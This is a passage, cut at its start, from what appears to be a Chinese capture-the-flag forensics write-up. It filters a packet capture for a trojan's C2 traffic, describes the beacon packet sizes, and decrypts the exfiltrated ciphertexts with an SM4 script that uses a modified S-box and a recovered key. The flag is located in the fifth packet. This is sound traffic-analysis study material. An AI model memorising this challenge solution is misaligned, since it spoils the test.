0xD5, 0xDB, 0x39, 0xB8, 0x31, 0x11, 0x0C, 0x5A, 0xCB, 0x3E, 0x0A, 0x45, 0xE5, 0x94, 0x77, 0x5B,
0x8D, 0x6D, 0x48, 0x41, 0x10, 0xBD, 0x09, 0xC1, 0x4A, 0x89, 0x0D, 0x6E, 0x97, 0xA1, 0x1D, 0x16,
0x0A, 0xD9, 0x88, 0x6A, 0x96, 0xD1, 0x6B, 0x32, 0x02, 0x35, 0x46, 0x06, 0x7D, 0x65, 0x49, 0x8C,
0xF0, 0x3E, 0x2D, 0x7A, 0x15, 0xFF, 0x05, 0x8E, 0x01, 0x84, 0x3C, 0x3A, 0x38, 0x53, 0x87, 0x7B,
0x0B, 0x2B, 0x7E, 0x0F, 0xF6, 0x69, 0xA8, 0x5A, 0xB5, 0x4C, 0x1B, 0x39, 0x7F, 0x08, 0x8D, 0x1C
]
3、wireshark中定位通信会话数据包,提取通信密文
根据我们之前的分析,受害者是 192.168.1.200,而攻击者(接收 Flag 的 C2 服务器)是 192.168.1.201。为了提取 Flag,我们需要的是 受害者发给攻击者 的流量
bash
ip.src == 192.168.1.200 && ip.dst == 192.168.1.201 && tcp.port == 58782 && tcp.len > 0

可以看到大量 Len=4 和 Len=16 的小包,这是受害者木马在不断询问服务器:"有命令吗?"服务器回复:"没命令"或者保持连接,这是一种典型的 C2 维持机制
Len=4:根据逆向代码,这是通信协议的长度头(Header)
Len=16:这是 SM4 加密后的最小分组长度(128位)

把大于等于48的数据包的密文全部提取出来,然后一起进行解密
bash
ip.addr == 192.168.1.201 && tcp.port == 58782 && tcp.len >=48

分别复制出里面的数据,以其中一个为例

e、提取密文
bash
CIPHER_LIST = [
"87e8faa921f3e67c530f1b6740a9d439794e426716d49f5e949d5d56f81ed54a97f6cc6752fcf7aa408a94e6a59029e7",
"91fc3c4dc278b1afc5636adeca578f3fe37c16fa66fae433d0d7eb331e7926025ad84833f28fc2641bf05e058be36ed06b3ba79fb66a1ae4192c51152e87a1c6abf66f0a1038689d2137f94d6a686b946120ea2d6fbe312786411b701a353ab035de9c7dc81abfa0dfef55c14cd1f99e07c",
"0f8e8c73baeb70cada6aa30d3a91d0c8f4f2a26dd4e3e7ad0c99810245ae92a05893d4b74323a37247cc6c9c417f8082ccef101bd31acdc79c8a673396353a030358d2a3db37019672b8042929a68fea5ba9965e5145940355e00debe46e80b75dd31b646f39d4cb3e057bc64c8e3b39a7c",
"4331cfda21eeab8922fcc7acced16d1a17b02e8d2d9dfee48dc8f18e0dbbb2e4c4547e39d8c4aa2418d9fca52c9c4770",
"7f4b0ef4806983f164af6f46b71d3fce1e3c0bd00c4dd162b72c156f0f3aecd2afcabf551e08380db6fd20316f8a2729",
"de7cc756e5c97fed18a72a95af102dac48dc0810752bd7755157e5909974cbe0ce87241e7f01e3169e7a763a22008029"
]
4、编写脚本进行SM4解密
根据前面得到的 密钥、SM4算法的系统参数FK、SM4算法的固定参数CK、SM4算法的S-Box、密文 编写脚本进行解密
python
import struct
import binascii
# ==================== 配置区 ====================
KEY_HEX = "ac46fb610b313b4f32fc642d8834b456"
# 魔改 S-Box
SBOX = bytes([
0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x05,
0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x04, 0xc3, 0xaa, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0x0b, 0x43, 0xed, 0xcf, 0xac, 0x62,
0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x08, 0xe8, 0x95, 0x80, 0xdf, 0x94, 0xfa, 0x75, 0x8f, 0x3f, 0xa6,
0x47, 0x07, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83, 0x59, 0x3c, 0x19, 0xe6, 0x85, 0x4f, 0xa8,
0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b, 0xf8, 0xeb, 0x0f, 0x4b, 0x70, 0x56, 0x9d, 0x35,
0x1e, 0x24, 0x0e, 0x5e, 0x63, 0x58, 0xd1, 0xa2, 0x25, 0x22, 0x7c, 0x3b, 0x01, 0x21, 0x78, 0x87,
0xd4, 0x00, 0x46, 0x57, 0x9f, 0xd3, 0x27, 0x52, 0x4c, 0x36, 0x02, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e,
0xea, 0xbf, 0x8a, 0xd2, 0x40, 0xc7, 0x38, 0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1,
0xe0, 0xae, 0x5d, 0xa4, 0x9b, 0x34, 0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3,
0x1d, 0xf6, 0xe2, 0x2e, 0x82, 0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0x0d, 0x53, 0x4e, 0x6f,
0xd5, 0xdb, 0x39, 0xb8, 0x31, 0x11, 0x0c, 0x5a, 0xcb, 0x3e, 0x0a, 0x45, 0xe5, 0x94, 0x77, 0x5b,
0x8d, 0x6d, 0x48, 0x41, 0x10, 0xbd, 0x09, 0xc1, 0x4a, 0x89, 0x0d, 0x6e, 0x97, 0xa1, 0x1d, 0x16,
0x0a, 0xd9, 0x88, 0x6a, 0x96, 0xd1, 0x6b, 0x32, 0x02, 0x35, 0x46, 0x06, 0x7d, 0x65, 0x49, 0x8c,
0xf0, 0x3e, 0x2d, 0x7a, 0x15, 0xff, 0x05, 0x8e, 0x01, 0x84, 0x3c, 0x3a, 0x38, 0x53, 0x87, 0x7b,
0x0b, 0x2b, 0x7e, 0x0f, 0xf6, 0x69, 0xa8, 0x5a, 0xb5, 0x4c, 0x1b, 0x39, 0x7f, 0x08, 0x8d, 0x1c
])
FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc]
CK = [
0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269, 0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249, 0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229, 0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209, 0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
]
CIPHER_LIST = [
"87e8faa921f3e67c530f1b6740a9d439794e426716d49f5e949d5d56f81ed54a97f6cc6752fcf7aa408a94e6a59029e7",
"91fc3c4dc278b1afc5636adeca578f3fe37c16fa66fae433d0d7eb331e7926025ad84833f28fc2641bf05e058be36ed06b3ba79fb66a1ae4192c51152e87a1c6abf66f0a1038689d2137f94d6a686b946120ea2d6fbe312786411b701a353ab035de9c7dc81abfa0dfef55c14cd1f99e07c",
"0f8e8c73baeb70cada6aa30d3a91d0c8f4f2a26dd4e3e7ad0c99810245ae92a05893d4b74323a37247cc6c9c417f8082ccef101bd31acdc79c8a673396353a030358d2a3db37019672b8042929a68fea5ba9965e5145940355e00debe46e80b75dd31b646f39d4cb3e057bc64c8e3b39a7c",
"4331cfda21eeab8922fcc7acced16d1a17b02e8d2d9dfee48dc8f18e0dbbb2e4c4547e39d8c4aa2418d9fca52c9c4770",
"7f4b0ef4806983f164af6f46b71d3fce1e3c0bd00c4dd162b72c156f0f3aecd2afcabf551e08380db6fd20316f8a2729",
"de7cc756e5c97fed18a72a95af102dac48dc0810752bd7755157e5909974cbe0ce87241e7f01e3169e7a763a22008029"
]
# ==================== 算法核心 ====================
rot = lambda x, n: ((x << n) | (x >> (32 - n))) & 0xffffffff
tau = lambda x: (SBOX[x & 0xff] << 24) | (SBOX[(x >> 8) & 0xff] << 16) | (SBOX[(x >> 16) & 0xff] << 8) | SBOX[x >> 24]
L = lambda x: x ^ rot(x, 2) ^ rot(x, 10) ^ rot(x, 18) ^ rot(x, 24)
Lp = lambda x: x ^ rot(x, 13) ^ rot(x, 23)
def sm4_dec_block(ct, rk):
x = [struct.unpack('>I', ct[i * 4:i * 4 + 4])[0] for i in range(4)]
for i in range(31, -1, -1):
tmp = x[0] ^ L(tau(x[1] ^ x[2] ^ x[3] ^ rk[i]))
x = x[1:] + [tmp]
return b''.join(struct.pack('>I', x[3 - i]) for i in range(4))
def sm4_get_rk(key):
mk = [struct.unpack('>I', key[i * 4:i * 4 + 4])[0] for i in range(4)]
k = [mk[i] ^ FK[i] for i in range(4)]
rk = []
for i in range(32):
rk.append(k[0] ^ Lp(tau(k[1] ^ k[2] ^ k[3] ^ CK[i])))
k = k[1:] + [rk[-1]]
return rk
def try_decrypt(cipher_hex, rk):
try:
clean_hex = cipher_hex.replace(" ", "").replace("\n", "").replace("\r", "").strip()
data = binascii.unhexlify(clean_hex)
# 自动去头
payload = data
if len(data) % 16 != 0:
if len(data) > 4 and (len(data) - 4) % 16 == 0:
payload = data[4:]
else:
return "[Error] Odd-length string"
# 解密
plaintext = b""
for i in range(0, len(payload), 16):
if i + 16 <= len(payload):
plaintext += sm4_dec_block(payload[i:i + 16], rk)
# 解码并去除两端的空白字符(strip)
try:
pad = plaintext[-1]
if 0 < pad <= 16:
return plaintext[:-pad].decode(errors='ignore').strip()
return plaintext.decode(errors='ignore').strip()
except:
return plaintext # 无法解码则返回bytes
except Exception as e:
return f"[Error] {e}"
# ==================== 主程序 ====================
def main():
print(f"[*] 正在尝试解密 {len(CIPHER_LIST)} 条数据...\n")
key_bytes = binascii.unhexlify(KEY_HEX)
rk = sm4_get_rk(key_bytes)
for i, hex_str in enumerate(CIPHER_LIST):
result = try_decrypt(hex_str, rk)
print(f"[数据包 {i + 1}]: {result}")
print("-" * 40)
if __name__ == '__main__':
main()
解密得到第五条数据包中的数据使我们想要的flag
